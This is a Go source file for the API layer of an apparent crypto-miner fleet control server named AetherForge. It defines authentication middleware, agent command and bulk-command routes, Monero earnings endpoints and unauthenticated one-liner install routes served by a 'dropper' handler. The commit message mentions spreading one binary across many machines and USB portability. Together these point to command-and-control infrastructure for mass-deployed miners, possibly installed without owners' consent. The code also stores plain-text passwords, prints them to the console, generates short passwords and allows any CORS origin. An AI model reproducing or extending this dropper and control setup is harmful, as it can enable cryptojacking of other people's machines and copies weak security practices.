Use hostname-first agent names so the same forged binary on many machines stays distinct at scale. Add WebSocket RTT latency on the roster and Crucible, fleet delete and uninstall flows, live alert config reload, and non-blocking pool setup. Fix Crucible phantom agents after delete, posture scan targeting, and USB portability (config data_dir, LAUNCH sync).
597 lines
20 KiB
Go
597 lines
20 KiB
Go
package api
|
|
|
|
import (
|
|
"crypto/rand"
|
|
"crypto/sha256"
|
|
"crypto/subtle"
|
|
"encoding/hex"
|
|
"encoding/json"
|
|
"fmt"
|
|
"log"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/builder"
|
|
"crypto-miner-server/internal/db"
|
|
|
|
"github.com/go-chi/chi/v5"
|
|
"github.com/go-chi/chi/v5/middleware"
|
|
"github.com/go-chi/cors"
|
|
"golang.org/x/crypto/bcrypt"
|
|
)
|
|
|
|
// authSessionCache avoids running bcrypt on every API request.
|
|
// Key: SHA-256(user+":"+password) hex — value: expiry time.
|
|
// Entries are valid for authCacheTTL after the last successful login.
|
|
// Bcrypt only runs on cache miss or expiry.
|
|
var (
|
|
authSessionCache = map[string]time.Time{}
|
|
authSessionCacheMu sync.Mutex
|
|
authCacheTTL = 5 * time.Minute
|
|
)
|
|
|
|
func authCacheKey(user, pass string) string {
|
|
h := sha256.Sum256([]byte(user + ":" + pass))
|
|
return hex.EncodeToString(h[:])
|
|
}
|
|
|
|
func authCacheHit(user, pass string) bool {
|
|
key := authCacheKey(user, pass)
|
|
authSessionCacheMu.Lock()
|
|
defer authSessionCacheMu.Unlock()
|
|
exp, ok := authSessionCache[key]
|
|
return ok && time.Now().Before(exp)
|
|
}
|
|
|
|
func authCacheSet(user, pass string) {
|
|
key := authCacheKey(user, pass)
|
|
authSessionCacheMu.Lock()
|
|
authSessionCache[key] = time.Now().Add(authCacheTTL)
|
|
// Prune expired entries opportunistically.
|
|
if len(authSessionCache) > 512 {
|
|
now := time.Now()
|
|
for k, v := range authSessionCache {
|
|
if now.After(v) {
|
|
delete(authSessionCache, k)
|
|
}
|
|
}
|
|
}
|
|
authSessionCacheMu.Unlock()
|
|
}
|
|
|
|
var (
|
|
// authUsers is populated from data/users.json on startup. Plain-text copies
|
|
// for console display live in data/login-credentials.json (0600).
|
|
authUsers = map[string]string{}
|
|
usersFilePath string
|
|
usersMu sync.RWMutex
|
|
authLoadMu sync.Mutex
|
|
authLoadedDataDir string
|
|
|
|
// fleetSecretForAgentPaths holds the shared fleet secret used to authenticate
|
|
// agent-facing REST endpoints (/api/v1/agent/*). Set once from main.go via
|
|
// SetAgentPathSecret so basicAuthMiddleware can check X-Fleet-Secret headers.
|
|
fleetSecretForAgentPaths string
|
|
fleetSecretForAgentPathsMu sync.RWMutex
|
|
|
|
// rotateSecretFn is called when POST /server/rotate-secret is hit.
|
|
// Wired from main.go so the server can generate, persist, and propagate the new secret.
|
|
rotateSecretFn func() (string, error)
|
|
)
|
|
|
|
// SetAgentPathSecret stores the fleet secret so basicAuthMiddleware can verify
|
|
// X-Fleet-Secret headers on /api/v1/agent/* routes.
|
|
func SetAgentPathSecret(secret string) {
|
|
fleetSecretForAgentPathsMu.Lock()
|
|
fleetSecretForAgentPaths = secret
|
|
fleetSecretForAgentPathsMu.Unlock()
|
|
}
|
|
|
|
// SetRotateSecretFn registers the callback that handles POST /server/rotate-secret.
|
|
func SetRotateSecretFn(fn func() (string, error)) {
|
|
rotateSecretFn = fn
|
|
}
|
|
|
|
// isBcryptHash returns true when s looks like a bcrypt hash ($2a$, $2b$, $2y$).
|
|
func isBcryptHash(s string) bool {
|
|
return len(s) > 4 && s[0] == '$' && s[1] == '2'
|
|
}
|
|
|
|
// hashPassword returns a bcrypt hash of password (cost 12).
|
|
func hashPassword(password string) (string, error) {
|
|
h, err := bcrypt.GenerateFromPassword([]byte(password), 12)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
return string(h), nil
|
|
}
|
|
|
|
// checkPassword verifies password against the stored value. Stored values are
|
|
// always bcrypt hashes after migration; plain-text legacy values are accepted
|
|
// once then re-hashed automatically.
|
|
func checkPassword(stored, provided string) bool {
|
|
if isBcryptHash(stored) {
|
|
return bcrypt.CompareHashAndPassword([]byte(stored), []byte(provided)) == nil
|
|
}
|
|
// Legacy plain-text comparison (constant-time).
|
|
return subtle.ConstantTimeCompare([]byte(provided), []byte(stored)) == 1
|
|
}
|
|
|
|
func loginSidecarPath(dataDir string) string {
|
|
return filepath.Join(dataDir, "login-credentials.json")
|
|
}
|
|
|
|
func readLoginSidecar(path string) (map[string]string, error) {
|
|
data, err := os.ReadFile(path)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
var creds map[string]string
|
|
if err := json.Unmarshal(data, &creds); err != nil {
|
|
return nil, err
|
|
}
|
|
if len(creds) == 0 {
|
|
return nil, fmt.Errorf("empty login sidecar")
|
|
}
|
|
return creds, nil
|
|
}
|
|
|
|
func writeLoginSidecar(path string, creds map[string]string) error {
|
|
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
|
|
return err
|
|
}
|
|
data, err := json.MarshalIndent(creds, "", " ")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return os.WriteFile(path, data, 0600)
|
|
}
|
|
|
|
func upsertLoginSidecar(dataDir, username, password string) error {
|
|
path := loginSidecarPath(dataDir)
|
|
creds, _ := readLoginSidecar(path)
|
|
if creds == nil {
|
|
creds = map[string]string{}
|
|
}
|
|
creds[username] = password
|
|
return writeLoginSidecar(path, creds)
|
|
}
|
|
|
|
func printStartupCredentials(dataDir string) {
|
|
creds, err := readLoginSidecar(loginSidecarPath(dataDir))
|
|
if err != nil || len(creds) == 0 {
|
|
return
|
|
}
|
|
fmt.Println(formatLoginBanner(creds))
|
|
}
|
|
|
|
func formatLoginBanner(creds map[string]string) string {
|
|
var b strings.Builder
|
|
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
|
|
b.WriteString("║ AetherForge — Dashboard Login ║\n")
|
|
b.WriteString("║ ║\n")
|
|
for user, pass := range creds {
|
|
fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
|
|
fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
|
|
b.WriteString("║ ║\n")
|
|
}
|
|
b.WriteString("║ Also saved in data/login-credentials.json ║\n")
|
|
b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
|
|
b.WriteString("╚══════════════════════════════════════════════════╝\n")
|
|
return b.String()
|
|
}
|
|
|
|
// LoadUsers loads dashboard accounts and prints login credentials to the console.
|
|
// Call once during startup (before heavy init) so operators always see passwords.
|
|
func LoadUsers(dataDir string) {
|
|
ensureUsersLoaded(dataDir)
|
|
printStartupCredentials(dataDir)
|
|
}
|
|
|
|
func ensureUsersLoaded(dataDir string) {
|
|
abs, err := filepath.Abs(dataDir)
|
|
if err != nil {
|
|
abs = dataDir
|
|
}
|
|
authLoadMu.Lock()
|
|
defer authLoadMu.Unlock()
|
|
if authLoadedDataDir == abs {
|
|
return
|
|
}
|
|
bootstrapUsers(dataDir)
|
|
authLoadedDataDir = abs
|
|
}
|
|
|
|
func bootstrapUsers(dataDir string) {
|
|
usersFilePath = filepath.Join(dataDir, "users.json")
|
|
sidecarPath := loginSidecarPath(dataDir)
|
|
usersMu.Lock()
|
|
defer usersMu.Unlock()
|
|
|
|
data, err := os.ReadFile(usersFilePath)
|
|
if err == nil {
|
|
var loaded map[string]string
|
|
if json.Unmarshal(data, &loaded) == nil && len(loaded) > 0 {
|
|
migrated := false
|
|
for u, v := range loaded {
|
|
if !isBcryptHash(v) {
|
|
if h, herr := hashPassword(v); herr == nil {
|
|
loaded[u] = h
|
|
migrated = true
|
|
log.Printf("[Auth] Migrated plain-text password for user %q to bcrypt", u)
|
|
}
|
|
}
|
|
}
|
|
authUsers = loaded
|
|
if migrated {
|
|
d, _ := json.MarshalIndent(authUsers, "", " ")
|
|
_ = os.WriteFile(usersFilePath, d, 0600)
|
|
}
|
|
reconcileLoginSidecar(dataDir, sidecarPath, loaded)
|
|
return
|
|
}
|
|
}
|
|
|
|
pw := generateRandomPassword()
|
|
hashed, herr := hashPassword(pw)
|
|
if herr != nil {
|
|
hashed = pw
|
|
log.Printf("[Auth] WARNING: bcrypt failed, storing plain-text password: %v", herr)
|
|
}
|
|
authUsers = map[string]string{"admin": hashed}
|
|
if mkErr := os.MkdirAll(dataDir, 0755); mkErr == nil {
|
|
d, _ := json.MarshalIndent(authUsers, "", " ")
|
|
if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
|
|
log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
|
|
}
|
|
_ = writeLoginSidecar(sidecarPath, map[string]string{"admin": pw})
|
|
}
|
|
}
|
|
|
|
func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string) {
|
|
if _, err := readLoginSidecar(sidecarPath); err == nil {
|
|
return
|
|
}
|
|
if _, ok := users["admin"]; !ok {
|
|
return
|
|
}
|
|
pw := generateRandomPassword()
|
|
hashed, herr := hashPassword(pw)
|
|
if herr != nil {
|
|
log.Printf("[Auth] WARNING: could not regenerate admin password: %v", herr)
|
|
return
|
|
}
|
|
users["admin"] = hashed
|
|
authUsers = users
|
|
d, _ := json.MarshalIndent(authUsers, "", " ")
|
|
if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
|
|
log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
|
|
return
|
|
}
|
|
if writeErr := writeLoginSidecar(sidecarPath, map[string]string{"admin": pw}); writeErr != nil {
|
|
log.Printf("[Auth] WARNING: could not save login-credentials.json: %v", writeErr)
|
|
return
|
|
}
|
|
log.Printf("[Auth] Regenerated admin password (login-credentials.json was missing)")
|
|
}
|
|
|
|
// generateRandomPassword returns an 8-character password (4 random bytes as hex).
|
|
func generateRandomPassword() string {
|
|
b := make([]byte, 4)
|
|
if _, err := rand.Read(b); err != nil {
|
|
return "aether1!"
|
|
}
|
|
return hex.EncodeToString(b)
|
|
}
|
|
|
|
func saveUser(username, password string) error {
|
|
hashed, err := hashPassword(password)
|
|
if err != nil {
|
|
return fmt.Errorf("bcrypt: %w", err)
|
|
}
|
|
usersMu.Lock()
|
|
authUsers[username] = hashed
|
|
if usersFilePath == "" {
|
|
usersFilePath = filepath.Join("data", "users.json")
|
|
}
|
|
dataDir := filepath.Dir(usersFilePath)
|
|
if err := os.MkdirAll(dataDir, 0755); err != nil {
|
|
usersMu.Unlock()
|
|
return err
|
|
}
|
|
data, _ := json.MarshalIndent(authUsers, "", " ")
|
|
if err := os.WriteFile(usersFilePath, data, 0600); err != nil {
|
|
usersMu.Unlock()
|
|
return err
|
|
}
|
|
usersMu.Unlock()
|
|
if err := upsertLoginSidecar(dataDir, username, password); err != nil {
|
|
log.Printf("[Auth] WARNING: could not update login-credentials.json: %v", err)
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func basicAuthMiddleware(next http.Handler) http.Handler {
|
|
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
if r.Method == http.MethodOptions {
|
|
next.ServeHTTP(w, r)
|
|
return
|
|
}
|
|
|
|
path := r.URL.Path
|
|
|
|
// Health check and one-liner installer endpoints are always open.
|
|
// NOTE: build download/artifact routes are intentionally NOT in this list —
|
|
// they require fleet-secret or Basic Auth (see isDownload block below).
|
|
if path == "/api/v1/health" ||
|
|
path == "/get" || path == "/install.sh" || path == "/install.ps1" {
|
|
next.ServeHTTP(w, r)
|
|
return
|
|
}
|
|
|
|
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
|
|
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
|
|
// legitimately forged agents can call these endpoints.
|
|
// A missing or empty fleet secret is always rejected — the server auto-
|
|
// generates one at startup so this state should never occur in production.
|
|
if strings.HasPrefix(path, "/api/v1/agent/") {
|
|
fleetSecretForAgentPathsMu.RLock()
|
|
secret := fleetSecretForAgentPaths
|
|
fleetSecretForAgentPathsMu.RUnlock()
|
|
if secret == "" {
|
|
http.Error(w, "server not ready: fleet secret not configured", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
provided := r.Header.Get("X-Fleet-Secret")
|
|
if subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) != 1 {
|
|
http.Error(w, "Forbidden", http.StatusForbidden)
|
|
return
|
|
}
|
|
next.ServeHTTP(w, r)
|
|
return
|
|
}
|
|
|
|
// Build download/artifact/uninstall routes: accept fleet secret OR Basic Auth.
|
|
// This lets forged agents self-upgrade (they have the fleet secret baked in)
|
|
// while still requiring credentials for unauthenticated callers.
|
|
isDownload := strings.HasPrefix(path, "/api/v1/builds/") &&
|
|
(strings.HasSuffix(path, "/download") ||
|
|
strings.Contains(path, "/artifact/") ||
|
|
strings.HasSuffix(path, "/uninstall"))
|
|
if isDownload {
|
|
fleetSecretForAgentPathsMu.RLock()
|
|
secret := fleetSecretForAgentPaths
|
|
fleetSecretForAgentPathsMu.RUnlock()
|
|
provided := r.Header.Get("X-Fleet-Secret")
|
|
if secret != "" && subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) == 1 {
|
|
next.ServeHTTP(w, r)
|
|
return
|
|
}
|
|
// Fall through to Basic Auth below.
|
|
}
|
|
|
|
user, pass, ok := r.BasicAuth()
|
|
if !ok {
|
|
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
|
return
|
|
}
|
|
|
|
// Fast path — skip bcrypt if this credential pair was recently validated.
|
|
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
|
|
if !authCacheHit(user, pass) {
|
|
usersMu.RLock()
|
|
storedHash, exists := authUsers[user]
|
|
usersMu.RUnlock()
|
|
|
|
if !exists || !checkPassword(storedHash, pass) {
|
|
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
|
return
|
|
}
|
|
// Credential verified — cache it for the next few minutes.
|
|
authCacheSet(user, pass)
|
|
}
|
|
|
|
next.ServeHTTP(w, r)
|
|
})
|
|
}
|
|
|
|
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
|
ensureUsersLoaded(dataDir)
|
|
|
|
r := chi.NewRouter()
|
|
|
|
// Middleware (global)
|
|
r.Use(middleware.Logger)
|
|
r.Use(middleware.Recoverer)
|
|
r.Use(cors.Handler(cors.Options{
|
|
AllowedOrigins: []string{"*"},
|
|
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
|
|
// X-Fleet-Secret is required by agent-facing endpoints; include it so
|
|
// browser-based callers (dev tools, custom dashboards) are not blocked
|
|
// by CORS preflight when sending that header.
|
|
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-Fleet-Secret"},
|
|
AllowCredentials: false,
|
|
}))
|
|
|
|
// REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
|
|
r.Route("/api/v1", func(r chi.Router) {
|
|
r.Use(basicAuthMiddleware)
|
|
h := NewHandler(database)
|
|
|
|
r.Get("/health", h.HealthCheck)
|
|
r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
|
|
override := ""
|
|
if publicURLOverride != nil {
|
|
override = publicURLOverride()
|
|
}
|
|
GetServerInfo(w, r, override)
|
|
})
|
|
|
|
// Dashboard
|
|
r.Get("/dashboard/stats", h.GetDashboardStats)
|
|
|
|
// Agents
|
|
r.Get("/agents", h.ListAgents)
|
|
r.Get("/agents/{id}", h.GetAgent)
|
|
r.Get("/agents/{id}/stats", h.GetAgentStats)
|
|
if fleetHandler != nil {
|
|
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
|
|
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
|
|
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
|
|
r.Delete("/agents/{id}", fleetHandler.DeleteAgent)
|
|
r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand)
|
|
r.Post("/agents/bulk-delete", fleetHandler.BulkDeleteAgents)
|
|
}
|
|
|
|
// Fleet ops
|
|
if fleetHandler != nil {
|
|
r.Get("/alerts", fleetHandler.GetAlerts)
|
|
r.Get("/pools/status", fleetHandler.GetPoolStatus)
|
|
r.Get("/ai/activity", fleetHandler.GetAIActivity)
|
|
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
|
|
r.Get("/market/xmr", fleetHandler.GetXMRPrice)
|
|
}
|
|
|
|
// Shares
|
|
r.Get("/shares", h.GetRecentShares)
|
|
|
|
// Builds
|
|
r.Get("/builds", h.ListBuilds)
|
|
r.Put("/builds/{id}/pin", h.PinBuild)
|
|
r.Delete("/builds/pin", h.UnpinAll)
|
|
r.Delete("/builds/{id}", h.DeleteBuild)
|
|
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
|
|
r.Get("/builds/{id}/artifact/{name}", builderHandler.DownloadBuildArtifact)
|
|
r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall)
|
|
|
|
// Config
|
|
r.Get("/config", configHandler.ServeHTTP)
|
|
r.Put("/config", configHandler.ServeHTTP)
|
|
|
|
// Builder
|
|
r.Post("/builder/build", builderHandler.ServeHTTP)
|
|
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
|
r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) {
|
|
token := chi.URLParam(req, "token")
|
|
if builderHandler.CancelBuild(token) {
|
|
writeJSON(w, map[string]interface{}{"cancelled": true})
|
|
} else {
|
|
http.Error(w, "build not found or already completed", http.StatusNotFound)
|
|
}
|
|
})
|
|
|
|
// Blueprints (config presets)
|
|
r.Get("/blueprints", blueprintHandler.ServeHTTP)
|
|
r.Post("/blueprints", blueprintHandler.ServeHTTP)
|
|
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
|
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
|
|
|
// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
|
|
// Forged agents with the old secret will be rejected until re-forged.
|
|
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
|
|
if rotateSecretFn == nil {
|
|
http.Error(w, "rotation not configured", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
newSecret, err := rotateSecretFn()
|
|
if err != nil {
|
|
http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, map[string]interface{}{"ok": true, "hint": newSecret[:8] + "..."})
|
|
})
|
|
|
|
// User Management
|
|
r.Post("/users", func(w http.ResponseWriter, req *http.Request) {
|
|
var payload struct {
|
|
Username string `json:"username"`
|
|
Password string `json:"password"`
|
|
}
|
|
if err := json.NewDecoder(req.Body).Decode(&payload); err != nil || payload.Username == "" || payload.Password == "" {
|
|
http.Error(w, "Invalid username or password", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if err := saveUser(payload.Username, payload.Password); err != nil {
|
|
http.Error(w, "Failed to save user", http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, map[string]interface{}{"success": true})
|
|
})
|
|
|
|
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
|
|
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
|
r.Post("/agent/decide", aiHandler.HandleDecide)
|
|
r.Post("/agent/report", aiHandler.HandleReport)
|
|
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
|
|
})
|
|
|
|
// WebSocket
|
|
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
|
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
|
|
|
// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
|
|
if dropperHandler != nil {
|
|
r.Get("/get", dropperHandler.ServeGet)
|
|
r.Get("/install.sh", dropperHandler.ServeSh)
|
|
r.Get("/install.ps1", dropperHandler.ServePs1)
|
|
}
|
|
|
|
// Serve frontend SPA
|
|
if webRoot != "" {
|
|
// Check if webroot directory exists
|
|
if info, err := os.Stat(webRoot); err == nil && info.IsDir() {
|
|
// Create a file server for the webroot
|
|
fileServer := http.FileServer(http.Dir(webRoot))
|
|
|
|
// SPA fallback: serve index.html for all non-API, non-WebSocket routes
|
|
r.Get("/*", func(w http.ResponseWriter, r *http.Request) {
|
|
// Clean the path
|
|
path := strings.TrimPrefix(r.URL.Path, "/")
|
|
if path == "" || strings.Contains(path, "..") {
|
|
w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate")
|
|
http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
|
|
return
|
|
}
|
|
fullPath := filepath.Join(webRoot, path)
|
|
|
|
// Check if the file exists
|
|
if _, err := os.Stat(fullPath); err == nil {
|
|
fileServer.ServeHTTP(w, r)
|
|
return
|
|
}
|
|
|
|
// SPA fallback - serve index.html (never cache: hashed assets change each build)
|
|
w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate")
|
|
http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
|
|
})
|
|
} else {
|
|
// Fallback if webroot doesn't exist
|
|
r.Get("/", func(w http.ResponseWriter, r *http.Request) {
|
|
w.Header().Set("Content-Type", "text/html")
|
|
w.Write([]byte(`<!DOCTYPE html><html><head><title>Crypto Miner</title></head><body>
|
|
<h1>Crypto Miner Control Server</h1>
|
|
<p>Server is running. Build the frontend with <code>cd server/web && npm install && npm run build</code></p>
|
|
<p>API: <a href="/api/v1/health">/api/v1/health</a></p>
|
|
</body></html>`))
|
|
})
|
|
}
|
|
} else {
|
|
r.Get("/", func(w http.ResponseWriter, r *http.Request) {
|
|
w.Header().Set("Content-Type", "text/html")
|
|
w.Write([]byte(`<!DOCTYPE html><html><head><title>Crypto Miner</title></head><body>
|
|
<h1>Crypto Miner Control Server</h1>
|
|
<p>Server is running. No frontend configured.</p>
|
|
<p>API: <a href="/api/v1/health">/api/v1/health</a></p>
|
|
</body></html>`))
|
|
})
|
|
}
|
|
|
|
return r
|
|
}
|